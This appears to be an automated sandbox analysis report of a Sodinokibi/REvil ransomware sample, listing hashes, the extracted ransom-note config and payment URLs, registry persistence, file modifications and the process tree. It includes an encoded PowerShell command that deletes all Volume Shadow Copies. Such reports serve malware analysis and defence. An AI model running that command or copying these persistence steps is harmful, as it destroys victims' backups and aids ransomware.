Analysis
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max time kernel
145s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-05-2024 23:42
Static task
static1
Behavioral task
behavioral1
Sample
7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
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Target
7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe
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Size
166KB
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MD5
7ece52b3a95a0934a85cb7f71fe9377a
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SHA1
6793f912e1608e4bd0a1980d60531e6cbaa17895
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SHA256
31b0de39d5d708322dc6adc52be4d833b4539cd0e9d400a60f0f234c705e9486
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SHA512
2733d0a99da8295f97b48331b711e3f0e08afa58af076a7da0df12bf19a22aeef1a04536ff9880872789adc5c87206065f4a130d27ff78230f8b155c7d4685ec
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SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3Qnw1lGHBSjph:ZJ0BXScFy2RsQJ8zgklIB
Malware Config
Extracted
C:\Recovery\5ql4afk5l6-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/789D0327F022B229
http://decryptor.cc/789D0327F022B229
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe" 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\M: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\Y: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\F: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\E: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\G: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\J: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\U: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\V: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\D: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\H: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\N: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\R: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\Z: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\B: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\L: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\S: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\A: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\O: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\P: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\T: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\W: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\X: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\K: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened (read-only) \??\Q: 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3435m.bmp" 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe -
Drops file in Program Files directory 37 IoCs
description ioc Process File opened for modification \??\c:\program files\ConfirmDisable.vsdx 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\EnterEnable.crw 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\HideSave.jpeg 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\LimitWait.midi 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\RemoveUnlock.mhtml 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\UpdateRename.vssm 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\CloseGroup.M2V 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\ExpandSplit.vdx 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\LockConfirm.odp 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\OpenShow.cfg 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\RestoreRedo.wpl 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\UnregisterRestart.txt 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\UnregisterShow.rtf 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\CheckpointClear.txt 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\MountBlock.ps1xml 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\RepairOpen.mid 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\UnlockStep.m1v 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\WatchCompress.vsw 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\LockRequest.xls 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\UnpublishFormat.vsdm 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\EditGrant.clr 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\EnterSkip.inf 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\ExportSelect.ppsm 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\GroupInitialize.dib 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\HideUnprotect.vbe 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\OutSubmit.dib 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\ResumePing.xps 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File created \??\c:\program files\5ql4afk5l6-readme.txt 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\ResizeUnpublish.gif 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\TraceStart.temp 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\ExpandFind.wdp 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\OutSubmit.nfo 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\PushApprove.ogg 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\ResetUninstall.odt 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\UnblockRestart.M2TS 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File opened for modification \??\c:\program files\UnregisterInvoke.bin 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe File created \??\c:\program files (x86)\5ql4afk5l6-readme.txt 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4796 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe 4796 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe 1236 powershell.exe 1236 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4796 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe Token: SeDebugPrivilege 1236 powershell.exe Token: SeBackupPrivilege 208 vssvc.exe Token: SeRestorePrivilege 208 vssvc.exe Token: SeAuditPrivilege 208 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4796 wrote to memory of 1236 4796 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe 91 PID 4796 wrote to memory of 1236 4796 7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe 91 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7ece52b3a95a0934a85cb7f71fe9377a_JaffaCakes118.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2268
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:208
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1664 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:81⤵PID:4920
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
6KB
MD5642001c8fb7bfd9e0dd2d39e7587094f
SHA17dffc8a91b3b9d29218d50cd1576428c319c8350
SHA256dd7a9be2d3e47e3f28656ac0e357a34d9df5713595b335e1cbefd3337289916a
SHA5129ce578e5f623ca92ffb15f9a87c6892b28c122014114087da466f711ccc7280ac48acda1f49d151ae426b8db2d98bb26845d3622c6f765f5e62ff18ffc1dba69
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82